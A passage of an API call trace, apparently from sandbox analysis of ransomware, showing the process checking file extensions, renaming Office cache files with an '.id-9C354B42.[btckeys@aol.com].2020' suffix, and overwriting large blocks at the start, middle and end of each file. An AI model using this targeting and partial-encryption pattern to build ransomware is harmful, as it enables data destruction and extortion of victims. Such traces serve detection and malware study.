Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0074.728] lstrlenW (lpString=".doc") returned 4 [0074.728] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0074.728] lstrlenW (lpString=".docx") returned 5 [0074.728] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0074.728] lstrlenW (lpString=".pdf") returned 4 [0074.728] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0074.728] lstrlenW (lpString=".xls") returned 4 [0074.728] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0074.728] lstrlenW (lpString=".xlsx") returned 5 [0074.728] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0074.728] lstrlenW (lpString=".ppt") returned 4 [0074.728] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0074.728] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0074.728] lstrlenW (lpString=".zip") returned 4 [0074.728] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0074.728] lstrlenW (lpString=".rar") returned 4 [0074.728] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0074.728] lstrlenW (lpString=".bz2") returned 4 [0074.728] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0074.728] lstrlenW (lpString=".7z") returned 3 [0074.729] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0074.729] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0074.729] lstrlenW (lpString=".dbf") returned 4 [0074.729] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0074.729] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0074.729] lstrlenW (lpString=".1cd") returned 4 [0074.729] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0074.729] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0074.729] lstrlenW (lpString=".jpg") returned 4 [0074.729] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0074.729] lstrcmpiW (lpString1=".cab", lpString2=".2020") returned 1 [0074.729] lstrlenW (lpString="VisioLR.cab") returned 11 [0074.729] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0074.730] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2baff1c | out: lpFileSize=0x2baff1c*=50823389) returned 1 [0074.730] CloseHandle (hObject=0x1dc) returned 1 [0074.730] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab")) returned 0x2020 [0074.730] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0074.730] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0074.731] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0074.731] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc6c | out: lpNewFilePointer=0x0) returned 1 [0074.731] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc2c | out: lpNewFilePointer=0x0) returned 1 [0074.731] ReadFile (in: hFile=0x1dc, lpBuffer=0x3640058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bafc38, lpOverlapped=0x0 | out: lpBuffer=0x3640058*, lpNumberOfBytesRead=0x2bafc38*=0x40000, lpOverlapped=0x0) returned 1 [0075.137] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc2c | out: lpNewFilePointer=0x0) returned 1 [0075.137] ReadFile (in: hFile=0x1dc, lpBuffer=0x3680058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bafc38, lpOverlapped=0x0 | out: lpBuffer=0x3680058*, lpNumberOfBytesRead=0x2bafc38*=0x40000, lpOverlapped=0x0) returned 1 [0075.145] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2bafc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0075.145] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc2c | out: lpNewFilePointer=0x0) returned 1 [0075.145] ReadFile (in: hFile=0x1dc, lpBuffer=0x36c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bafc38, lpOverlapped=0x0 | out: lpBuffer=0x36c0058*, lpNumberOfBytesRead=0x2bafc38*=0x40000, lpOverlapped=0x0) returned 1 [0075.160] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafec8 | out: lpNewFilePointer=0x0) returned 1 [0075.160] WriteFile (in: hFile=0x1dc, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2bafcb0, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2bafcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0075.577] SetEndOfFile (hFile=0x1dc) returned 1 [0075.577] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f54fa0 [0075.799] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc7c | out: lpNewFilePointer=0x0) returned 1 [0075.799] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f54fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f54fa0*, lpNumberOfBytesWritten=0x2bafc88*=0x40000, lpOverlapped=0x0) returned 1 [0075.800] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc7c | out: lpNewFilePointer=0x0) returned 1 [0075.801] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f54fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f54fa0*, lpNumberOfBytesWritten=0x2bafc88*=0x40000, lpOverlapped=0x0) returned 1 [0075.801] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc7c | out: lpNewFilePointer=0x0) returned 1 [0075.802] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f54fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f54fa0*, lpNumberOfBytesWritten=0x2bafc88*=0x40000, lpOverlapped=0x0) returned 1 [0075.804] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f54fa0 | out: hHeap=0x4b0000) returned 1 [0075.804] CloseHandle (hObject=0x1dc) returned 1 [0075.804] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0075.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0075.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0075.805] lstrlenW (lpString=".doc") returned 4 [0075.805] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0075.805] lstrlenW (lpString=".docx") returned 5 [0075.805] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0075.805] lstrlenW (lpString=".pdf") returned 4 [0075.805] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0075.805] lstrlenW (lpString=".xls") returned 4 [0075.805] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0075.805] lstrlenW (lpString=".xlsx") returned 5 [0075.805] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0075.805] lstrlenW (lpString=".ppt") returned 4 [0075.805] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0075.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0075.805] lstrlenW (lpString=".zip") returned 4 [0075.805] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0075.806] lstrlenW (lpString=".rar") returned 4 [0075.806] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0075.806] lstrlenW (lpString=".bz2") returned 4 [0075.806] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0075.806] lstrlenW (lpString=".7z") returned 3 [0075.806] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0075.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0075.806] lstrlenW (lpString=".dbf") returned 4 [0075.806] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0075.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0075.806] lstrlenW (lpString=".1cd") returned 4 [0075.806] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0075.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0075.806] lstrlenW (lpString=".jpg") returned 4 [0075.806] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0075.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0075.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0075.806] lstrlenW (lpString=".doc") returned 4 [0075.806] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0075.806] lstrlenW (lpString=".docx") returned 5 [0075.806] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0075.806] lstrlenW (lpString=".pdf") returned 4 [0075.806] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0075.806] lstrlenW (lpString=".xls") returned 4 [0075.806] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0075.806] lstrlenW (lpString=".xlsx") returned 5 [0075.806] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0075.806] lstrlenW (lpString=".ppt") returned 4 [0075.806] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0075.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0075.806] lstrlenW (lpString=".zip") returned 4 [0075.806] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0075.807] lstrlenW (lpString=".rar") returned 4 [0075.807] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0075.807] lstrlenW (lpString=".bz2") returned 4 [0075.807] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0075.807] lstrlenW (lpString=".7z") returned 3 [0075.807] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0075.807] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0075.807] lstrlenW (lpString=".dbf") returned 4 [0075.807] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0075.807] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0075.807] lstrlenW (lpString=".1cd") returned 4 [0075.807] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0075.807] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0075.807] lstrlenW (lpString=".jpg") returned 4 [0075.807] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0075.807] lstrcmpiW (lpString1=".msi", lpString2=".2020") returned 1 [0075.807] lstrlenW (lpString="ProjectMUI.msi") returned 14 [0075.807] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0075.811] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2baff1c | out: lpFileSize=0x2baff1c*=2511872) returned 1 [0075.811] CloseHandle (hObject=0x1dc) returned 1 [0075.811] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi")) returned 0x2020 [0075.812] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0075.812] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0075.813] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0075.813] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc6c | out: lpNewFilePointer=0x0) returned 1 [0075.813] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc2c | out: lpNewFilePointer=0x0) returned 1 [0075.813] ReadFile (in: hFile=0x1dc, lpBuffer=0x3640058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bafc38, lpOverlapped=0x0 | out: lpBuffer=0x3640058*, lpNumberOfBytesRead=0x2bafc38*=0x40000, lpOverlapped=0x0) returned 1 [0075.852] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc2c | out: lpNewFilePointer=0x0) returned 1 [0075.852] ReadFile (in: hFile=0x1dc, lpBuffer=0x3680058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bafc38, lpOverlapped=0x0 | out: lpBuffer=0x3680058*, lpNumberOfBytesRead=0x2bafc38*=0x40000, lpOverlapped=0x0) returned 1 [0075.874] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2bafc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0075.874] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc2c | out: lpNewFilePointer=0x0) returned 1 [0075.874] ReadFile (in: hFile=0x1dc, lpBuffer=0x36c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bafc38, lpOverlapped=0x0 | out: lpBuffer=0x36c0058*, lpNumberOfBytesRead=0x2bafc38*=0x40000, lpOverlapped=0x0) returned 1 [0075.998] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafec8 | out: lpNewFilePointer=0x0) returned 1 [0075.999] WriteFile (in: hFile=0x1dc, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2bafcb0, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2bafcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0076.207] SetEndOfFile (hFile=0x1dc) returned 1 [0076.208] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f74fa0 [0076.209] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc7c | out: lpNewFilePointer=0x0) returned 1 [0076.209] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x2bafc88*=0x40000, lpOverlapped=0x0) returned 1 [0076.211] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc7c | out: lpNewFilePointer=0x0) returned 1 [0076.211] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x2bafc88*=0x40000, lpOverlapped=0x0) returned 1 [0076.217] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc7c | out: lpNewFilePointer=0x0) returned 1 [0076.217] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x2bafc88*=0x40000, lpOverlapped=0x0) returned 1 [0076.559] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f74fa0 | out: hHeap=0x4b0000) returned 1 [0076.560] CloseHandle (hObject=0x1dc) returned 1 [0076.560] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0076.560] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0076.560] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0076.560] lstrlenW (lpString=".doc") returned 4 [0076.560] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0076.560] lstrlenW (lpString=".docx") returned 5 [0076.560] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0076.560] lstrlenW (lpString=".pdf") returned 4 [0076.560] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0076.560] lstrlenW (lpString=".xls") returned 4 [0076.560] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0076.560] lstrlenW (lpString=".xlsx") returned 5 [0076.560] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0076.560] lstrlenW (lpString=".ppt") returned 4 [0076.560] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0076.560] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0076.561] lstrlenW (lpString=".zip") returned 4 [0076.561] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0076.561] lstrlenW (lpString=".rar") returned 4 [0076.561] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0076.561] lstrlenW (lpString=".bz2") returned 4 [0076.561] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0076.561] lstrlenW (lpString=".7z") returned 3 [0076.561] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0076.561] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0076.561] lstrlenW (lpString=".dbf") returned 4 [0076.561] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0076.561] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0076.561] lstrlenW (lpString=".1cd") returned 4 [0076.561] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0076.561] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0076.561] lstrlenW (lpString=".jpg") returned 4 [0076.561] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0076.561] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0076.561] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0076.561] lstrlenW (lpString=".doc") returned 4 [0076.561] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0076.562] lstrlenW (lpString=".docx") returned 5 [0076.562] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0076.562] lstrlenW (lpString=".pdf") returned 4 [0076.562] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0076.562] lstrlenW (lpString=".xls") returned 4 [0076.562] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0076.562] lstrlenW (lpString=".xlsx") returned 5 [0076.562] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0076.562] lstrlenW (lpString=".ppt") returned 4 [0076.562] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0076.562] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0076.562] lstrlenW (lpString=".zip") returned 4 [0076.562] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0076.562] lstrlenW (lpString=".rar") returned 4 [0076.562] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0076.562] lstrlenW (lpString=".bz2") returned 4 [0076.562] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0076.562] lstrlenW (lpString=".7z") returned 3 [0076.562] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0076.562] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0076.562] lstrlenW (lpString=".dbf") returned 4 [0076.562] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0076.562] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0076.562] lstrlenW (lpString=".1cd") returned 4 [0076.562] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0076.562] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0076.562] lstrlenW (lpString=".jpg") returned 4 [0076.562] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0076.562] lstrcmpiW (lpString1=".dll", lpString2=".2020") returned 1 [0076.562] lstrlenW (lpString="dwdcw20.dll") returned 11 [0076.563] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0076.728] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2baff1c | out: lpFileSize=0x2baff1c*=526176) returned 1 [0076.728] CloseHandle (hObject=0x184) returned 1 [0076.728] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 0x2020 [0076.728] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0076.728] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0076.728] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafec8 | out: lpNewFilePointer=0x0) returned 1 [0076.728] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafec8 | out: lpNewFilePointer=0x0) returned 1 [0076.728] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0076.729] GetLastError () returned 0x0 [0076.729] ReadFile (in: hFile=0x184, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bafed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2bafed4*=0x80760, 